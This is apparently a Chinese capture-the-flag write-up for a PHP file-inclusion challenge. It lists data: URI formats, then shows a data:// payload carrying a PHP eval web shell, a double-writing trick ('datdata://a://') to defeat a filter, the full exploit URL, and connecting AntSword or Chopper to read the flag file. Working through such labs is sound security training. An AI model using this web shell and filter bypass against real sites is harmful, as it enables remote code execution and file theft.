题:http://121.41.79.208:83/start/index.php?page=hello
Data URI scheme(data: base64)协议常用数据格式 |
data:<文本数据> |
data:text/plain,<文本数据> |
data:text/html,<HTML代码> |
data:text/html;base64,<base64编码的HTML代码> |
data:text/css,<CSS代码> |
data:text/css;base64,<base64编码的CSS代码> |
data:text/javascript,<]avascript代码> |
data:text/javascript;base64,<base64编码的]avascript代码> |
data:image/gif;base64,base64编码的gif图片数据 |
data:image/png;base64,base64编码的icon图片数据 |
data:image/jpeg;base64,base64编码的jpeg图片数据 |
data:image/x-icon;base64,base64编码的icon图片数据 |
1、尝试使用data协议,发现php被过滤掉了
data://text/plain,<?php @eval($_POST['cmd']);?>
2、查看页面源代码,发现data://替换成了空,其余的都在,data://被注释了
3、双写datdata://a://
data协议是一种用于在URL中传递数据的协议,它可以将数据以base64编码的形式嵌入到URL中。然而,由于安全性的考虑,许多浏览器和服务器会对data协议进行过滤,防止恶意代码的执行。 要绕过data协议的过滤,可以尝试以下方法: 1.使用其他协议:可以考虑使用其他协议来传递数据,如http或https协议。这些协议通常不会被过滤。 2.使用URL编码:将数据进行URL编码,然后再传递。URL编码可以将特殊字符转换为%xx的形式,使其不被解析为恶意代码。 3.使用其他编码方式:除了base64编码外,还可以尝试其他编码方式,如hex编码或者自定义的编码方式。这样可以绕过对base64编码的过滤。 |
http://121.41.79.208:83/start/index.php?page=datdata://a://text/plain,
<?php
@eval($_POST['cmd']);
?>
4、将地址放入蚁剑或菜刀中连接
5、进入文件管理,找到html目录,找到key,拿到值